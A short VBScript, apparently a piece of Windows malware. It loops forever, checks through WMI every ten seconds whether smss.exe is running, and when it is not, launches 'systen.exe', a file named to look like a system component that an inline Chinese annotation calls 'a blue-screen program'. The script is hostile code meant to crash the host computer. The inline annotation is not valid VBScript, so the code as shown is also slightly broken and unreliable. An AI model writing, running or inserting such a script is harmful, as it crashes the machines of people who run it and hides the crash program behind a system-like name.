Dim oShell
Set oShell = WScript.CreateObject("WScript.Shell")
While true
If Not CheckPro(".","smss.exe") Then
oShell.run "C:\WINDOWS\system32\systen.exe" (一个蓝屏程序)
End If
WScript.Sleep 1000*10
Wend
set oshell = nothing
WScript.quit
Function CheckPro(strComputer,ProName)
Dim objWMIService,colProcesses,objProcess
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process")
CheckPro = False
For Each objProcess in colProcesses
If objProcess.Name = ProName Then
CheckPro = True
Exit For
End If
Next
End Function